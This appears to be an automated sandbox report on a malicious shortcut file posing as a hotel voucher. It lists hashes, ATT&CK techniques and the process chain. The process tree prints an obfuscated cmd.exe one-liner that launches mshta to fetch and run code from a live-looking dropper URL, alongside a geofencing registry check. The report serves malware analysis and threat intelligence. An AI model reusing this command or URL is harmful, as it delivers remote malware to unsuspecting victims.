7c00c04b964a73bca034d0a827cd8248c04bd3f08994eded9d095e8c5e220d90

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 12:47

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General

Target
ALVESHOTEL_VOUCHER--Z7WYDJ.lnk
Size 1KB
Sample260803-p1a2tsyard
SHA256 7c00c04b964a73bca034d0a827cd8248c04bd3f08994eded9d095e8c5e220d90
MD5 bbb8c252452ebc01e8651f1c805c7a7f
SHA1 324347ff5be24bd73d4c6ab0199f6dc3c0f1f2a9
SHA512 8ffe4e0d1d4b5517057f25e48a2e7c21acefffdc67c3497715fa40b2520427710692f9b3eb0d54a394337b7112364dcb11cc15c36c82dc902e542c108a2c58f1
TLSH
T17E3147503EF94658F3F78EB684BB672489BBB9668D20861E0041454C5062A01E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1724	mshta.exe
8	1724	mshta.exe
11	1724	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
372	cmd.exe
4876	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 372 wrote to memory of 4876	372	cmd.exe	85
PID 4876 wrote to memory of 1724	4876	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ALVESHOTEL_VOUCHER--Z7WYDJ.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:372
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Nj=msh&&set uVzI=ta&&start "" !Nj!!uVzI! https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\System32\mshta.exe
    mshta https://alves.nfiscais.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    - Badlisted process makes network request
    PID:1724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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